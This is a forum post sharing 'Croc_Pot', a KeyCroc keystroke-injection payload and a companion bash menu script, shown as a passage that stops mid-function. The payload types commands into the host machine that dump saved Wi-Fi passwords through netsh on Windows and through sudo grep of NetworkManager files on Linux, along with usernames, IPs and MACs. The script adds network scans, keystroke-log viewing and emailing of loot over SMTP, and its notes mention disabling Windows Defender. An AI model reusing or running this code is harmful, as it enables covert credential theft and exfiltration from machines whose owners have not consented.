Jump to content

[Payload] CROC_POT


Recommended Posts

CROC_POT

Introduction:

The payload (Croc_Pot_Payload.txt) will do -start an OS detection to see what OS the keycroc is plug into then it will get some info off that OS like (ip address, current user name, pc host name, ssid and passwd, mac address) this data will be used in the (Croc_Pot.sh) script, it takes about 30 or 40 sec then it will start the (Croc_Pot.sh) script automatically. Edit the  (Croc_Pot_Payload.txt) for your keycroc passwd if the keycroc is plug into LINUX add passwd needed for (sudo).

Bash script (Croc_Pot.sh) will do -send E-mails, basic nmap scan, basic tcpdump scan, keycroc status scan, edit files with nano, ssh to hak5 gear, recovery menu, view keycroc log files, install payloads ( Getonline CrocUnlock wifisetup), VPN setup, windows info scan (bash bunny script), save loot to loot folder, and more.

Tested on Windows 10, Linux (Parrot), Raspberrypi 4 (GNOME Terminal installed), sorry for the Macos user I do not have a mac to test with.

 

Installation:

-->Insure your keycroc is connect to the same local network as the pc.

-->There is two files to this payload first file is called (Croc_Pot_Payload.txt) this will need to be placed in the Keycroc payloads folder.

-->The second file is called (Croc_Pot.sh) this will need to be placed in the Keycroc tools folder.

-->Then unplug the keycroc and plug back in.

 

Start:

-->To start this payload after installing (Croc_Pot_Payload.txt) and (Croc_Pot.sh) type in crocpot this will start the bash script (Croc_Pot.sh).

-->The second way you can start this is ssh into your keycroc and type in /root/udisk/tools/Croc_Pot.sh this will start the bash script (Croc_Pot.sh).

 

VPN:

-->This will check to see if openvpn is installed if not it will install it automatically on the keycroc.

-->For this to work you will need to download the .ovpn file from your VPN server of choice and place it on the root of udisk on the keycroc.

 

SSH:

-->Insure your Hak5 gear and the keycroc are on the same local network.

-->This will check to see if sshpass is installed if not it will install it automatically on the keycroc. This is used for entering passwd automatically when starting ssh session.

-->Hak5 gear if this is the first time ssh from your keycroc to any hak5 gear it will ask you to make a passwd list for your hak5 gear so we can ssh automatically next time. Also first time you will need to manual ssh into each Hak5 gear for key authentication at SSH MENU select #2 start ssh with user input and enter root and the ip of your hak5 gear default ip should be ok to use.

 

UPDATE:

-->1.0.1 fix some menu issues and minor changes in (Croc_Pot.sh), minor changes in (Croc_Pot_Payload.txt)

-->1.1 fix some menu issues in (Croc_Pot.sh), added update/upgrade packages for keycroc, added (bash: warning: setlocale: LC_ALL: cannot change locale en_US.UTF-8) fix if you run into this issue, added PASS TIME MENU in here are just a couple of games (chess, tetris, snake, matrix effect) I am not the developer of the games I came across them and thought i would share them, added WINDOWS DEFENDER MENU enable or disenable windows real-time protection, some clean up, minor changes in (Croc_Pot.sh), minor changes in (Croc_Pot_Payload.txt), if you get kicked out of Croc_Pot menu type in /root/udisk/tools/Croc_Pot.sh to get you back in.

-->1.2fix some menu issues in (Croc_Pot.sh), added new menu HAK5 ClOUD C2 this will install hak5 cloud c2 on the keycroc and run C2 from your keycroc, when adding devices insure they are on the same local network as the keycroc.

 

 

 

Croc_Pot_Payload.txt

# Title:         Croc_Pot Payload
# Description:   Start Croc_pot bash script
# Author:        Spywill
# Version:       1.0.2
# Category:      Key Croc
#
#
MATCH crocpot
#
CROC_PW=hak5croc      #<-----Edit KEYCROC_PASSWD_HERE
PC_PW=                #<-----Edit LINUX-PC_PASSWD_HERE
#
CROC_OS=/root/udisk/loot/Croc_OS.txt
cat > ${CROC_OS}
rm -f /root/udisk/loot/Croc_OS_wind.txt /root/udisk/loot/Croc_OS_ip.txt
ATTACKMODE AUTO_ETHERNET
LED ATTACK
GET TARGET_OS
GET TARGET_IP
GET HOST_IP
GET TARGET_HOSTNAME
case $TARGET_OS in
    WINDOWS)
           LED R
           ATTACKMODE HID STORAGE
           sleep 1
           Q GUI r
           sleep 1
           Q STRING "powershell"
           Q ENTER
           sleep 5
           Q STRING "\$Croc = (gwmi win32_volume -f 'label=\"KeyCroc\"' | Select-Object -ExpandProperty DriveLetter)"
           Q ENTER
           sleep 1
           Q STRING "Test-Connection -ComputerName (hostname) -Count 1 | Select IPV4Address | Format-Table -AutoSize | out-file -encoding UTF8 \"\$Croc\loot\Croc_OS_wind.txt\" -noclobber -append"
           Q ENTER
           sleep 1
           Q STRING "\$env:UserName | Format-Table -AutoSize | out-file -encoding UTF8 \"\$Croc\loot\Croc_OS_wind.txt\" -noclobber -append"
           Q ENTER
           sleep 1
           Q STRING "(netsh wlan show networks) | Select-String \"\:(.+)\$\" | % {\$name=\$_.Matches.Groups[1].Value.Trim(); \$_} | %{(netsh wlan show profile name=\"\$name\" key=clear)} | Select-String \"Key Content\W+\:(.+)\$\" | % {\$pass=\$_.Matches.Groups[1].Value.Trim(); \$_} | %{[PSCustomObject]@{ PROFILE_NAME=\$name;PASSWORD=\$pass }} | out-file -encoding UTF8 \"\$Croc\loot\Croc_OS_wind.txt\" -noclobber -append"
           Q ENTER
           sleep 2
           Q STRING "wmic nic where PhysicalAdapter=True get MACAddress,Name | Format-Table -AutoSize | out-file -encoding UTF8 \"\$Croc\loot\Croc_OS_wind.txt\" -noclobber -append"
           Q ENTER
           sleep 2           
           ATTACKMODE HID
           sleep 1
           Q STRING "ssh root@$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)"
           Q ENTER
           sleep 2
           Q STRING "${CROC_PW}"
           Q ENTER
           sleep 2
           echo "$TARGET_OS" >> ${CROC_OS}
           echo "$TARGET_IP" >> ${CROC_OS}
           echo "$TARGET_HOSTNAME" >> ${CROC_OS}
           echo "$HOST_IP" >> ${CROC_OS}
           Q STRING "/root/udisk/tools/Croc_Pot.sh"
           Q ENTER;;
      MACOS)
           ATTACKMODE HID
           LED G
           sleep 1
           Q GUI-SPACE
           sleep 1
           Q STRING "terminal"
           Q ENTER
           sleep 2
           Q STRING "ssh root@$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)"
           Q ENTER
           sleep 2
           Q STRING "${CROC_PW}"
           Q ENTER
           sleep 1
           echo "$TARGET_OS" >> ${CROC_OS}
           echo "$TARGET_IP" >> ${CROC_OS}
           echo "$TARGET_HOSTNAME" >> ${CROC_OS}
           echo "$HOST_IP" >> ${CROC_OS}
           Q STRING "/root/udisk/tools/Croc_Pot.sh"
           Q ENTER;;
      LINUX)
           ATTACKMODE HID STORAGE
           LED B
           sleep 3
           case $TARGET_HOSTNAME in
raspberrypi) 
           Q CONTROL-ALT-d
           sleep 1
           Q STRING "terminal"
           Q ENTER
           Q ENTER
           sleep 1
           Q STRING "PC_USER=/media/\$(whoami)/KeyCroc/loot/Croc_OS_ip.txt"
           Q ENTER
           Q STRING "whoami | tee \${PC_USER}"
           Q ENTER
           sleep 1
           Q STRING "ip -4 -o addr show wlan0 | awk '{print \$4}' | cut -d \"/\" -f 1 | tee -a \${PC_USER}" 
           Q ENTER
           sleep 1
           Q STRING "sudo grep -r '^psk=' /etc/NetworkManager/system-connections/ | sed -E -e 's/[/]//g' -e 's/etc//g' -e 's/NetworkManagersystem-connections//g' -e 's/.nmconnection:psk//g' | tee -a \${PC_USER}"
           Q ENTER
           sleep 1
           Q STRING "ip -o link | awk '\$2 != \"lo:\" {print \$2, \$(NF-2)}' | tee -a \${PC_USER}"
           Q ENTER
           sleep 1
           ATTACKMODE HID
           sleep 1
           Q STRING "ssh root@$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)"
           Q ENTER
           sleep 1
           Q STRING "${CROC_PW}"
           Q ENTER
           echo "$TARGET_OS" | tee -a ${CROC_OS}
           echo "$TARGET_IP" | tee -a ${CROC_OS}
           echo "$TARGET_HOSTNAME" | tee -a ${CROC_OS}
           echo "$HOST_IP" | tee -a ${CROC_OS}
           Q STRING "/root/udisk/tools/Croc_Pot.sh"
           Q ENTER;;
     parrot)
           Q ALT F2
           sleep 1
           Q STRING "mate-terminal"
           Q ENTER
           sleep 1
           Q STRING "sudo mkdir /media/\$(whoami)/KeyCroc/"
           Q ENTER
           Q STRING "${PC_PW}"
           Q ENTER
           sleep 1
           Q STRING "sudo mount /dev/sdd /media/\$(whoami)/KeyCroc/ -o rw,users,umask=0"
           Q ENTER
           sleep 1
           Q STRING "sudo chmod 777 /media/\$(whoami)/KeyCroc/"
           Q ENTER
           sleep 1
           Q STRING "PC_USER=/media/\$(whoami)/KeyCroc/loot/Croc_OS_ip.txt"
           Q ENTER
           Q STRING "whoami | tee \${PC_USER}"
           Q ENTER
           sleep 1
           Q STRING "ip -4 -o addr show wlan0 | awk '{print \$4}' | cut -d \"/\" -f 1 | tee -a \${PC_USER}" 
           Q ENTER
           sleep 1
           Q STRING "sudo grep -r '^psk=' /etc/NetworkManager/system-connections/ | sed -E -e 's/[/]//g' -e 's/etc//g' -e 's/NetworkManagersystem-connections//g' -e 's/.nmconnection:psk//g' | tee -a \${PC_USER}"
           Q ENTER
           sleep 1
           Q STRING "ip -o link | awk '\$2 != \"lo:\" {print \$2, \$(NF-2)}' | tee -a \${PC_USER}"
           Q ENTER
           sleep 1
           Q STRING "sudo umount /media/\$(whoami)/KeyCroc/"
           Q ENTER
           sleep 1
           ATTACKMODE HID
           Q STRING "sudo rmdir /media/\$(whoami)/KeyCroc/"
           Q ENTER
           sleep 2
           Q STRING "ssh root@$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)"
           Q ENTER
           sleep 1
           Q STRING "${CROC_PW}"
           Q ENTER
           echo "$TARGET_OS" | tee -a ${CROC_OS}
           echo "$TARGET_IP" | tee -a ${CROC_OS}
           echo "$TARGET_HOSTNAME" | tee -a ${CROC_OS}
           echo "$HOST_IP" | tee -a ${CROC_OS}
           Q STRING "/root/udisk/tools/Croc_Pot.sh"
           Q ENTER;;
          *)
           Q ALT F2
           sleep 1
           Q STRING "xterm"
           Q ENTER
           sleep 1
           Q STRING "sudo mkdir /media/\$(whoami)/KeyCroc/"
           Q ENTER
           Q STRING "${PC_PW}"
           Q ENTER
           sleep 1
           Q STRING "sudo mount /dev/sdd /media/\$(whoami)/KeyCroc/ -o rw,users,umask=0"
           Q ENTER
           sleep 1
           Q STRING "sudo chmod 777 /media/\$(whoami)/KeyCroc/"
           Q ENTER
           sleep 1
           Q STRING "PC_USER=/media/\$(whoami)/KeyCroc/loot/Croc_OS_ip.txt"
           Q ENTER
           Q STRING "whoami | tee \${PC_USER}"
           Q ENTER
           sleep 1
           Q STRING "ip -4 -o addr show wlan0 | awk '{print \$4}' | cut -d \"/\" -f 1 | tee -a \${PC_USER}" 
           Q ENTER
           sleep 1
           Q STRING "sudo grep -r '^psk=' /etc/NetworkManager/system-connections/ | sed -E -e 's/[/]//g' -e 's/etc//g' -e 's/NetworkManagersystem-connections//g' -e 's/.nmconnection:psk//g' | tee -a \${PC_USER}"
           Q ENTER
           sleep 1
           Q STRING "ip -o link | awk '\$2 != \"lo:\" {print \$2, \$(NF-2)}' | tee -a \${PC_USER}"
           Q ENTER
           sleep 1
           Q STRING "sudo umount /media/\$(whoami)/KeyCroc/"
           Q ENTER
           sleep 1
           ATTACKMODE HID
           Q STRING "sudo rmdir /media/\$(whoami)/KeyCroc/"
           Q ENTER
           sleep 2
           Q STRING "ssh root@$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)"
           Q ENTER
           sleep 1
           Q STRING "${CROC_PW}"
           Q ENTER
           echo "$TARGET_OS" | tee -a ${CROC_OS}
           echo "$TARGET_IP" | tee -a ${CROC_OS}
           echo "$TARGET_HOSTNAME" | tee -a ${CROC_OS}
           echo "$HOST_IP" | tee -a ${CROC_OS}
           Q STRING "/root/udisk/tools/Croc_Pot.sh"
           Q ENTER;;
      esac
    ;;
esac

 

 

##############################################################

 

 

Croc_Pot.sh

#!/bin/bash

##
# Title:         Croc_Pot 
# Description:   Email KeyCroc INFO & Log files & Nmap scan Plus save to loot folder and more
# Author:        Spywill
# Version:       1.2
# Category:      Key Croc
##

##
# Payload  Variables
##

CROC_FOLDER=/root/udisk/loot/Croc_Pot
CROC_FOLDER_A=/root/udisk/tools/Croc_Pot
DATE=$(date +%b-%d-%y---%r)
LINE=$(perl -e 'print "=" x 80,"\n"')
LINE_=$(perl -e 'print "*" x 10,"\n"')
LINE_A=$(perl -e 'print "-" x 15,"\n"')

##
# Create folder
##

if [[ -d "${CROC_FOLDER}" && "${CROC_FOLDER_A}" ]]; then
     LED B
     sleep 1
else    
     LED SETUP
     sleep 1
     mkdir -p ${CROC_FOLDER} ${CROC_FOLDER_A}
     LED FINISH
fi

##
# Color  Variables
##

green='\e[32m'
blue='\e[34m'
red='\e[31m'
yellow='\e[93m'
background='\e[40m'
clear='\e[0m'

##
# Color Functions
##

ColorGreen() {
	echo -ne $green$1$clear
}
ColorBlue() {
	echo -ne $blue$1$clear
}
ColorYellow() {
	echo -ne $yellow$1$clear
}
ColorRed() {
	echo -ne $red$1$clear
}

##
# All Menu color Functions
##

MenuTitle() {
	echo -ne "\n\t\t\t\e[41;4;1m${1} ${2} ${3} ${4} ${5}${clear}\n"
}

MenuColor() {
    echo -ne "\t\t\t\e[40;1m${1}${clear}${green})${clear}\e[40;38;5;202;4m${2} ${3} ${4} ${5} ${6} ${7}"
}

MenuEnd() {
	echo -ne "\t\t\t\e[40;1m0${clear}${green})${clear}\e[40;4;32mEXIT              ${clear}
\t\t\e[40m$(ColorBlue 'CHOOSE AN OPTION AND PRESS [ENTER]:') ${clear}"
}

Info_Screen() {
	echo -ne "\n\e[48;5;202;30m${LINE}${clear}\n"
	echo -ne $background$yellow$1$clear
	echo -ne "\e[48;5;202;30m${LINE}${clear}\n"
}

##
# Payload Functions
##

function croc_title() {
	echo -ne "\n\n\e[41;30m${LINE}${clear}
\e[40;31m${LINE_A}${clear}\e[40m>${clear}\e[40;31mKEYCROC${clear}\e[40m-${clear}\e[40;31mHAK${clear}\e[40m5${clear}\e[40m<${clear}\e[40;31m${LINE_A}${clear}\e[40m${yellow}KeyCroc IP: $(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)           ${clear}
\e[40;31m   DEVELOPED BY ${clear}\e[40mSPYWILL ${clear}\e[40m                    ${clear}\e[40m${yellow}KeyCroc VER: $(cat /root/udisk/version.txt)                ${clear}
\e[40;31m   DATE OF SCAN${clear}\e[40m ${DATE}     ${clear}\e[40m${yellow}KeyCroc keyboard: $(sed -n 9p /root/udisk/config.txt)     ${clear}
\e[40;31m${LINE_A}${clear}\e[40;92m>CROC_POT<\e[40;31m${LINE_A}    ${clear}\e[40m${yellow}VER: 1.2 CPU TEMP: $(cat /sys/class/thermal/thermal_zone0/temp).C             ${clear}
\e[41;30m${LINE}${clear}\n\n"	
}

function croc_title_loot() {
    echo -ne "\n${LINE}\n\t${LINE_A}>KEYCROC-HAK5<${LINE_A}\n\t\tDEVELOPED BY SPYWILL\n\t\tDATE OF SCAN-${DATE}\n\t${LINE_A}>CROC_POT<${LINE_A}\n${LINE}\n\n"
}

function invalid_entry() {
    LED R
    echo -ne "\n\t${LINE_}\e[40;5m$(ColorRed 'INVALID ENTRY PLEASE TRY AGAIN')${clear}${LINE_}\n"
}

##
#   - Nmap mean
##

function nmap_menu() {
	IP_WLAN=$(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-)
	LED SETUP
	LOOT_NMAP=/root/udisk/loot/Croc_Pot/KeyCroc_NMAP.txt
	    echo -ne "$(Info_Screen '
-Start some basic nmap scan and save to loot folder\n
-Enter IP for scan or default IP is 192.168.1.*\n')${clear}\n"

##
#   - Nmap Functions
#   - User IP Input Functions
##	
	
user_ip_f() {
	read -p "$(ColorBlue 'ENTER IP TO USE FOR NMAP SCAN AND PRESS [ENTER]'): " USER_IP
	if [[ "${USER_IP}" == +([0-9]).+([0-9]).+([0-9]).+([0-9]) ]]; then
	IP_SETUP=${USER_IP}
	echo -ne "\t${LINE_}\e[40m$(ColorGreen 'USING IP THAT WAS ENTER')${clear}${IP_SETUP}\n"
else
	LED R
	echo -ne "\t${LINE_}\e[40;4m$(ColorRed 'USING DEFAULT IP 192.168.1*')${clear}${LINE_}\n"
	IP_SETUP=192.168.1.*
fi
}
 
##
#  -Nmap Regular Scan Functions
##  
 
regular_scan() {	
	 LED ATTACK
	 user_ip_f
	 croc_title_loot | tee ${LOOT_NMAP} ; echo -e "\t${LINE_}NMAP REGULAR SCAN${LINE_}\n" | tee -a ${LOOT_NMAP} ; nmap ${IP_WLAN} ${IP_SETUP} | tee -a ${LOOT_NMAP}
}
  
##
#  -Nmap Quick_Scan Functions
##

quick_scan() {
	 LED ATTACK
	 user_ip_f
	 croc_title_loot | tee ${LOOT_NMAP} ; echo -e "\t${LINE_}NMAP QUICK SCAN${LINE_}\n" | tee -a ${LOOT_NMAP} ; nmap -T4 -F ${IP_WLAN} ${IP_SETUP} | tee -a ${LOOT_NMAP}
}
  
##
#  -Nmap Quick_Plus Scan Functions
##

quick_plus_scan() {
	 LED ATTACK
	 user_ip_f
	 croc_title_loot | tee ${LOOT_NMAP} ; echo -e "\t${LINE_}NMAP QUICK_PLUS SCAN${LINE_}\n" | tee -a ${LOOT_NMAP} ; nmap -sV -T4 -O -F --version-light ${IP_WLAN} ${IP_SETUP} | tee -a ${LOOT_NMAP}
}
  
##
#  -Nmap Ping Scan Functions
##

ping_scan() {
	 LED ATTACK
	 user_ip_f
	 croc_title_loot | tee ${LOOT_NMAP} ; echo -e "\t${LINE_}NMAP PING SCAN${LINE_}\n" | tee -a ${LOOT_NMAP} ; nmap -sn ${IP_WLAN} ${IP_SETUP} | tee -a ${LOOT_NMAP}
}
  
##
#  -Nmap Intense Scan Functions
##

intense_scan() {
	 LED ATTACK
	 user_ip_f
	 croc_title_loot | tee ${LOOT_NMAP} ; echo -e "\t${LINE_}NMAP INTENSE SCAN${LINE_}\n" | tee -a ${LOOT_NMAP} ; nmap -T4 -A -v ${IP_WLAN} ${IP_SETUP} | tee -a ${LOOT_NMAP}
}
  
##
#  -Nmap Interface Scan Functions
##
 
interface_scan() {
	 LED ATTACK
	 croc_title_loot | tee ${LOOT_NMAP} ; echo -e "\t${LINE_}NMAP INTERFACE SCAN${LINE_}\n" | tee -a ${LOOT_NMAP} ; nmap --iflist | tee -a ${LOOT_NMAP} 
}
  
##
#  -Nmap Port Scan Functions
##

port_scan() {
	 LED ATTACK
	 user_ip_f
	 croc_title_loot | tee ${LOOT_NMAP} ; echo -e "\t${LINE_}NMAP PORT SCAN${LINE_}\n" | tee -a ${LOOT_NMAP} ; nmap --top-ports 20 ${IP_WLAN} ${IP_SETUP} | tee -a ${LOOT_NMAP}
}
  
##
#  -Nmap Personal Scan Functions
##

personal_scan() {
	 LED ATTACK
	 croc_title_loot | tee ${LOOT_NMAP} ; echo -e "\t${LINE_}NMAP PERSONAL SCAN${LINE_}\n" ; echo -n " $(ColorBlue 'ENTER YOUR NMAP SCAN SETTING THEN PRESS [ENTER]'): " ; read PER_SCAN && ${PER_SCAN} | tee -a ${LOOT_NMAP}
}

##
#  -Nmap Connected Pc Scan Functions
##

pc_scan() {
    CROC_OS_WIND=/root/udisk/loot/Croc_OS_wind.txt
    croc_os_v=/root/udisk/loot/Croc_OS_ip.txt
    if [ -e "${CROC_OS_WIND}" ]; then
    croc_title_loot | tee ${LOOT_NMAP} ; echo -e "\t${LINE_}CONNECTED PC SCAN${LINE_}\n" | tee -a ${LOOT_NMAP} ; nmap $(sed -n 4p ${CROC_OS_WIND}) | tee -a ${LOOT_NMAP}
else
    if [ -e "${croc_os_v}" ]; then
    croc_title_loot | tee ${LOOT_NMAP} ; echo -e "\t${LINE_}CONNECTED PC SCAN${LINE_}\n" | tee -a ${LOOT_NMAP} ; nmap $(sed -n 2p ${croc_os_v}) | tee -a ${LOOT_NMAP}
else
    echo -ne "\n\t\e[40m$(ColorRed 'PLEASE RUN CROC_POT PAYLOAD TO GET PC USER NAME AND IP')${clear}\n"
 fi
fi
}

##
#   - Nmap Scan Menu
##
 
LED B	
MenuTitle NMAP MENU
MenuColor  1 REGULAR SCAN ; echo -ne "      ${clear}\n"
MenuColor  2 QUICK SCAN ; echo -ne "        ${clear}\n"
MenuColor  3 QUICK PLUS ; echo -ne "        ${clear}\n"
MenuColor  4 PING SCAN ; echo -ne "         ${clear}\n"
MenuColor  5 INTENSE SCAN ; echo -ne "      ${clear}\n"
MenuColor  6 INTERFACE SCAN ; echo -ne "    ${clear}\n"
MenuColor  7 PORT SCAN ; echo -ne "         ${clear}\n"
MenuColor  8 PERSONAL SCAN ; echo -ne "     ${clear}\n"
MenuColor  9 CONNECTED PC SCAN ; echo -ne "  ${clear}\n"
MenuColor 10 RETURN TO MAIN MENU ; echo -ne "${clear}\n"
MenuEnd
        read d
        case $d in
        1) regular_scan ; nmap_menu ;;
        2) quick_scan ; nmap_menu ;;
        3) quick_plus_scan ; nmap_menu ;;
        4) ping_scan ; nmap_menu ;;
        5) intense_scan ; nmap_menu ;;
        6) interface_scan ; nmap_menu ;;
        7) port_scan ; nmap_menu ;;
        8) personal_scan ; nmap_menu ;;
        9) pc_scan ; nmap_menu ;;
        10) main_menu ;;
        0) exit 0 ;;
        *) invalid_entry ; nmap_menu ;;
        esac
}

##
#   - Key Croc Log mean
##

function croc_logs_mean() {
	LOOT_LOG=/root/udisk/loot/Croc_Pot/KeyCroc_LOG.txt
	LED B
	croc_title
MenuTitle KEYCROC LOG MENU
MenuColor  1 MESSAGES LOG ; echo -ne "       ${clear}\n"
MenuColor  2 KERNEL LOG ; echo -ne "         ${clear}\n"
MenuColor  3 SYSTEM LOG ; echo -ne "         ${clear}\n"
MenuColor  4 SYSSTAT LOG ; echo -ne "        ${clear}\n"
MenuColor  5 DEBUG LOG ; echo -ne "          ${clear}\n"
MenuColor  6 DPKG LOG ; echo -ne "           ${clear}\n"
MenuColor  7 NTPSTATS LOG ; echo -ne "       ${clear}\n"
MenuColor  8 AUTH LOG ; echo -ne "           ${clear}\n"
MenuColor  9 DMESG LOG ; echo -ne "          ${clear}\n"
MenuColor 10 BOOTSTRAP LOG ; echo -ne "     ${clear}\n"
MenuColor 11 ALTERNATIVES LOG ; echo -ne "  ${clear}\n"
MenuColor 12 MAIL INFO LOG ; echo -ne "      ${clear}\n"
MenuColor 13 DAEMON LOG ; echo -ne "        ${clear}\n"
MenuColor 14 KEYSTROKES LOG ; echo -ne "    ${clear}\n"
MenuColor 15 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd
        read e
        case $e in
        1) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}MESSAGES_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/messages | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        2) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}KERNEL_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/kern.log | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        3) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}SYSTEM_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/syslog | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        4) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}SYSSTAT_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/sysstat | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        5) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}DEBUG_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/debug | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        6) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}DPKG_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/dpkg.log | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        7) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}NTPSTATS_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/ntpstats | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        8) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}AUTH_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/auth.log | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        9) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}DMESG_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; echo -e "$(dmesg)" | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        10) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}BOOTSTRAP_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/bootstrap.log | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        11) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}ALTERNATIVES_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/alternatives.log | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        12) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}MAIL_INFO_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/mail.info | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        13) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}DAEMON_LOG${LINE_}\n" | tee ${LOOT_LOG} ; cat /var/log/daemon.log | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        14) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}KEYSTROKES_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /root/udisk/loot/croc_char.log | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
        15) main_menu ;;
        0) exit 0 ;;
        *) invalid_entry ; croc_logs_mean ;;
        esac
}

##
#   - Croc mail menu/function
##

function croc_mail() {
	clear
	PYTHON_MAIL=/root/udisk/tools/Croc_Pot/Croc_Mail.py
	USER_CR=/root/udisk/tools/Croc_Pot/user_email.txt
	LED B
	echo -ne "$(Info_Screen '
-Send E-Mail with g-mail or OutLook\n
-Send ATTACHMENT\n
-Add MESSAGE\n
-Select g-mail or outlook\n
-Enter your e-mail address\n
-Enter your e-mail password\n
-Enter the e-mail to send to\n
-Enter MESSAGE\n
-Add Attachment\n')${clear}\n\n"

##
#  -User Smtp input Functions
##

user_smtp() {
MenuTitle SELECT EMAIL PROVIDER
MenuColor 1 GMAIL ; echo -ne "            ${clear}\n"
MenuColor 2 OUTLOOK ; echo -ne "          ${clear}\n"
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd
        read mail
        case $mail in
        1) GMAIL=smtp.gmail.com ; echo ${GMAIL} >> ${USER_CR} ;;
        2) OUTLOOK=smtp-mail.outlook.com ; echo ${OUTLOOK} >> ${USER_CR} ;;
        3) main_menu ;;
        0) exit 0 ;;
        *) invalid_entry ; user_smtp ;;
        esac
}

##
#  -User E-mail input Functions
##

user_email_set() {
	
##
#  -Replace user input with Asterisk (*)
##
	
user_input_passwd() {
    unset password
    unset chartCount
    echo -n "$(ColorBlue 'ENTER YOUR EMAIL PASSWORD AND PRESS [ENTER]:') "
    while IFS= read -r -n1 -s char; do
    case "$char" in
    $'\0') break ;;
    $'\177') if [ ${#password} -gt 0 ]; then
                echo -ne "\b \b"
                password=${password::-1}
             fi ;;
          *)    chartCount=$((chartCount+1))
                echo -n '*'
                password+="$char" ;;
    esac
done
echo $password >> ${USER_CR}
echo ""
}

LED SETUP
read -p "$(ColorBlue 'ENTER YOUR EMAIL AND PRESS [ENTER]:') " E_MAIL_MY ; echo ${E_MAIL_MY} >> ${USER_CR}
user_input_passwd
read -p "$(ColorBlue 'ENTER EMAIL TO SEND LOOT TO AND PRESS [ENTER]:') " E_MAIL_SEND ; echo ${E_MAIL_SEND} >> ${USER_CR}  
}

##
#  -Python file send Functions
##

mail_file() {
	clear
python_v() {
	LED B
        FILE_A_B="file_location_${CHANGE_FILE} ="  
        FILE_B_B="filename_${CHANGE_FILE} = os.path.basename(file_location_${CHANGE_FILE})" 
        FILE_C_B="attachment_${CHANGE_FILE} = open(file_location_${CHANGE_FILE}, 'rb')"
        FILE_D_B="part_${CHANGE_FILE} = MIMEBase('application', 'octet-stream')"
        FILE_E_B="part_${CHANGE_FILE}.set_payload(attachment_${CHANGE_FILE}.read())"
        FILE_F_B="encoders.encode_base64(part_${CHANGE_FILE})"
        FILE_G_B="part_${CHANGE_FILE}.add_header('Content-Disposition', \"attachment; filename= %s\" % filename_${CHANGE_FILE})"
        FILE_H_B="msg.attach(part_${CHANGE_FILE})"
        FILE_I_B="${CHANGE_FILE_A}"
}
	
##
#  - Mail Nmap Functions
##
		
send_file_a() {
    LOOT_NMAP=/root/udisk/loot/Croc_Pot/KeyCroc_NMAP.txt
    if [ -e "${LOOT_NMAP}" ]; then			   
    CHANGE_FILE="C"
    CHANGE_FILE_A="'/root/udisk/loot/Croc_Pot/KeyCroc_NMAP.txt'"
    python_v
    echo -ne "\e[40m$(ColorGreen 'THIS FILE') ${LOOT_NMAP} $(ColorGreen 'WILL BE SENT \nTO THIS E-MAIL') $(sed -n 4p ${USER_CR})${clear}" 			   
else 
    LED R
    echo -ne ${LINE_}"\e[40;4;5m$(ColorRed 'PLEASE RUN AN NMAP SCAN FIRST STARTTING NMAP MENU')${clear}"${LINE_}		       
    nmap_menu
fi		       		       		
}
	
##
#  - Mail KeyCroc Log Functions
##	
	
send_file_b() {
    LOOT_LOG=/root/udisk/loot/Croc_Pot/KeyCroc_LOG.txt
    if [ -e "${LOOT_LOG}" ]; then
    CHANGE_FILE="B"
    CHANGE_FILE_A="'/root/udisk/loot/Croc_Pot/KeyCroc_LOG.txt'"
    python_v
